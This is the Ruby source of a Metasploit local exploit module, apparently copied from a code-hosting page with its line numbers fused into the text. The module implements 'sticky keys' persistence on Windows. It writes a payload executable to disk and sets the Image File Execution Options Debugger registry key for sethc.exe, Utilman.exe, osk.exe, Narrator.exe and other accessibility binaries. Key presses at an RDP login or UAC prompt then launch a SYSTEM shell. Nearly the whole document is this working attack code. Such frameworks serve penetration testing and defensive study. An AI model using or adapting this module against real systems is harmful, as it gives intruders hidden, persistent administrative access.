Path: blob/master/modules/exploits/windows/persistence/accessibility_features_debugger.rb
31427 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Exploit::EXE10include Msf::Exploit::Local::Persistence11prepend Msf::Exploit::Remote::AutoCheck12include Msf::Post::Windows::Registry13include Msf::Post::Windows::Priv14include Msf::Exploit::Deprecated15moved_from 'post/windows/manage/sticky_keys'1617DEBUG_REG_PATH = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options'18DEBUG_REG_VALUE = 'Debugger'1920def initialize(info = {})21super(22update_info(23info,24'Name' => 'Accessibility Features (Sticky Keys) Persistence via Debugger Registry Key',25'Description' => %q{26This module makes it possible to apply the 'sticky keys' hack to a session with appropriate27rights. The hack provides a means to get a SYSTEM shell using UI-level interaction at an RDP28login screen or via a UAC confirmation dialog. The module modifies the Debug registry setting29for certain executables.3031The module options allow for this hack to be applied to:3233SETHC (sethc.exe is invoked when SHIFT is pressed 5 times),34UTILMAN (Utilman.exe is invoked by pressing WINDOWS+U),35OSK (osk.exe is invoked by pressing WINDOWS+U, then launching the on-screen keyboard),36DISP (DisplaySwitch.exe is invoked by pressing WINDOWS+P),37NARRATOR (Narrator.exe is invoked by pressing WINDOWS+CTR+ENTER),38ATBROKER (AtBroker.exe is invoked by launching accessibility features from the login screen, such as WINDOWS+CTR+ENTER).3940Custom payloads and binaries can be run as part of this exploit, but must be manually uploaded41to the target prior to running the module.42},43'Author' => [44'OJ Reeves', # original module45'h00die' # persistence mixin, narrator, atbroker, docs46],47'Platform' => ['win'],48'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],49'SessionTypes' => ['meterpreter', 'shell'],50'References' => [51['URL', 'https://web.archive.org/web/20170201184448/https://social.technet.microsoft.com/Forums/windows/en-US/a3968ec9-5824-4bc2-82a2-a37ea88c273a/sticky-keys-exploit'],52['URL', 'https://blog.carnal0wnage.com/2012/04/privilege-escalation-via-sticky-keys.html'],53['URL', 'https://support.microsoft.com/en-us/windows/appendix-b-narrator-keyboard-commands-and-touch-gestures-8bdab3f4-b3e9-4554-7f28-8b15bd37410a'],54['ATT&CK', Mitre::Attack::Technique::T1183_IMAGE_FILE_EXECUTION_OPTIONS_INJECTION],55['ATT&CK', Mitre::Attack::Technique::T1546_008_ACCESSIBILITY_FEATURES],56['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],57['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']58],59'Targets' => [60[ 'Automatic', {} ]61],62'DefaultTarget' => 0,63'DisclosureDate' => '1995-04-24', # windows 95 release date which included first sticky keys64'Notes' => {65'Stability' => [CRASH_SAFE],66'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],67'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]68}69)70)7172register_options([73OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),74OptEnum.new('BINARY', [true, 'The target binary to add the exploit to.', 'SETHC', ['SETHC', 'UTILMAN', 'OSK', 'DISP', 'NARRATOR', 'ATBROKER']]),75])76end7778#79# Returns the name of the executable to modify the debugger settings of.80#81def get_target_exe_name82case datastore['BINARY']83when 'UTILMAN'84'Utilman.exe'85when 'OSK'86'osk.exe'87when 'DISP'88'DisplaySwitch.exe'89when 'NARRATOR'90'Narrator.exe'91when 'ATBROKER'92'AtBroker.exe'93else94'sethc.exe'95end96end9798#99# Returns the key combinations required to invoke the exploit once installed.100#101def get_target_key_combo102case datastore['BINARY']103when 'UTILMAN'104'WINDOWS+U'105when 'OSK'106'WINDOWS+U, then launching the on-screen keyboard'107when 'DISP'108'WINDOWS+P'109when 'NARRATOR'110'WINDOWS+CTR+ENTER'111when 'ATBROKER'112'Launching accessibility features from the login screen (such as WINDOWS+CTR+ENTER)'113else114'SHIFT 5 times'115end116end117118#119# Returns the full path to the target's registry key based on the current target120# settings.121#122def get_target_exe_reg_key123"#{DEBUG_REG_PATH}\\#{get_target_exe_name}"124end125126def writable_dir127d = super128return session.sys.config.getenv(d) if d.start_with?('%')129130d131end132133def check134print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value135return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)136137return CheckCode::Safe('You have admin rights to run this Module') unless is_admin?138139CheckCode::Appears('Likely exploitable')140end141142def install_persistence143payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))144temp_path = writable_dir145payload_exe = generate_payload_exe146payload_pathname = temp_path + '\\' + payload_name + '.exe'147vprint_status("Payload pathname: #{payload_pathname}")148fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)149target_key = get_target_exe_reg_key150registry_createkey(target_key)151registry_setvaldata(target_key, DEBUG_REG_VALUE, payload_pathname, 'REG_SZ')152153print_good("'Sticky keys' successfully added. Launch the exploit at an RDP or UAC prompt by pressing #{get_target_key_combo}.")154@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '\\\\\\\\')}\"\n"155@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"#{target_key}\" /v GlobalFlag /f\" -H\n"156end157end158159160